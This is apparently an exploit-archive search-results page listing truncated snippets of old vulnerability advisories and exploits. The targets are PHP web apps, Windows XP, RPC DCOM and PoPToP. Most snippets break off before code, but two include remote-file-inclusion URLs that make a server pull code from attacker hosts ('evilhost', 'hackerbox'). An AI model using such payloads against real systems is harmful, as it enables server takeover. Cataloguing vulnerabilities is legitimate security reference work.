624 matches found
Full path disclosure in CaLogic 1.22 and possible in older versions.
Full path disclosure in CaLogic 1.22 and possible in older versions. Language: PHP Project name: CaLogic Risk: Low Home page: http://www.calogic.de Discovered by: GB & Zetha Explotation examples: http://target/calogic122/doclsqlres.php Fatal error: Call to a member function on a non-object in...
Ultimate PHP Board <= 1.9.6 GOLD users.dat Password Decryptor
Exploit for unknown platform in category web applications ============================================================= Ultimate PHP Board = 1.9.6 GOLD users.dat Password Decryptor ============================================================= !/usr/bin/perl Passwords Decrypter for UPB = 1.9.6...
WebAPP 0.9.9.2.1 - Remote Command Execution (1)
WebAPP 0.9.9.2.1 - Remote Command Execution 1 !/usr/bin/perl T r a p - S e t U n d e r G r o u n D H a c k i n g T e a m Remote C0mmand Executing Expl0it - For WebAPP CGI Exploit By : A l p h a P r o g r a m m e r Sirus-v ; E-Mail : [email protected] [email protected] This xpl Open a...
phpBBupload.txt
Advisory 1 "phpBB Upload Script "up.php" Arbitrary File Upload" $ Author: Status-x $ Contact: [email protected] - [email protected] $ Date: 7 April 2005 $ Website: http://defacers.com.mx $ Original Advisory: http://www.defacers.com.mx/advisories/2.txt $ Risk: High $ Vendor URL:...
ZPanel <= 2.5 Remote SQL Injection Exploit
No description provided by source. Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code...
phpWebLog <= 0.5.3 Arbitrary File Inclusion
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...
PostNuke Phoenix 0.7x - 'SHOW' SQL Injection
source: https://www.securityfocus.com/bid/12684/info PostNuke Phoenix is reported prone to an SQL injection vulnerability. This issue arises due to insufficient sanitization of user-supplied input. It is reported that issue presents itself when malicious SQL syntax is issued to the application...
paNews_v2.0b4.txt
oooo oooo oooooooo8 ooooooooooo 8888o 88 888 88 888 88 88 888o88 888oooooo 888 88 8888 888 888 o88o 88 o88oooo888 o888o Network security team nst.e-nex.com Title: paNews v2.0b4 Bug found by: ò¸ìû÷ Date: 20.02.2005 web: http://www.phparena.net/panews.php google: allintitle:paNews v2.0b4 PHP...
msnXSS.txt
--0-821799311-1102416389=:1811 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit This is gonna be quick'n'dirty. My dinner is almost cooked... More XSS for MSN to add to the list: 1. Cross site scripting In JavaScript context...
[EXPL] (MS04-032) Microsoft Windows XP Metafile (.emf) Heap Overflow (PoC)
---snip--- / HOD-ms04032-emf-expl2.c: MS04-032 Microsoft Windows XP Metafile .emf Heap Overflow Exploit version 0.2 PUBLIC coded by .:: houseofdabus ::. at inbox dot ru ------------------------------------------------------------------- About WMF/EMF: Windows Metafile WMF and Enhanced Windows...
Microsoft Windows XP - Task Scheduler '.job' Universal (MS04-022)
/ HOD-ms04022-task-expl.c: MS04-022 Microsoft Windows XP Task Scheduler .job Universal Exploit Exploit version 0.1 coded by .:: houseofdabus ::. at inbox dot ru ------------------------------------------------------------------- Tested on: - Internet Explorer 6.0 SP1 iexplore.exe - Explorer...
VirtuaSystems VirtuaNews 1.0.x (Multiple Modules) - Cross-Site Scripting
source: https://www.securityfocus.com/bid/9812/info It has been reported that the VirtuaNews non-default modules 'Files' and 'Vulns' are prone to multiple cross-site scripting vulnerabilities. These problems surround the application's failure to properly validate user supplied URI input. When...
Web Wiz Forums ver. 7.01
Informations : °°°°°°°°°°°° Language : ASP Bugged Version : Web Wiz Forums ver. 7.01 and less ? Patched version : none Website : http://www.webwizforums.com Problems : Permanent XSS Objects : °°°°°°° - forummembers.asp - members.asp - pmbuddylist.asp Exploits : °°°°°°°°...
Caucho Resin Crossite Scripting
Crossite scipring in few CSS examples...
dcpportal.txt
From: Lifo Fifo To: [email protected] Subject: DCP Portal - 5.5 holes Never use this product if you have turned off magicquotesgpc. And this product won't work anyway if you have turned off registerglobals. All the files in the product, dont check for integrity of variables. You can easil...
yMonda Thread-IT 1.6 - Multiple HTML Injections
yMonda Thread-IT 1.6 - Multiple HTML Injections source: https://www.securityfocus.com/bid/8692/info It has been reported that yMonda Thread-IT is prone to a HTML injection vulnerability that may allow an attacker to execute HTML code in a user's browser. The issue is reported to be present in the...
Microsoft Windows - 'RPC DCOM2' Remote (MS03-039)
/ RPCDCOM2.c ver1.1 copy by FLASHSKY flashsky at xfocus.org 2003.9.14 / include include include include include include unsigned char bindstr= 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,...
Zope Invalid Query Path Disclosure
The remote Zope web server may be forced into disclosing its physical path when calling 'Examples/ShoppingCart/addItems' with a blank quantity. Note that this install is also likely to be affected by several other vulnerabilities, although Nessus has not checked for them. C Tenable Network...
PoPToP PPTP 1.1.4-b3 - 'poptop-sane.c' Remote Command Execution
/ Fixed Exploit against PoPToP in Linux poptop-sane.c ./r4nc0rwh0r3 of blightninjas [email protected] blightninjas: bringing pain, suffering, and humiliation to the security world Expect more great release like helloworld-annotated.c and cd explained whitepaper, we are working hard in da...
[email protected] Clients Buffer Overflow Exploit
Exploit for linux platform in category remote exploits ========================================= email protected Clients Buffer Overflow Exploit ========================================= / email protected exploit by zillionatsafemode.org 2003/01/07 Credits for the vulnerability go to: SkyLined...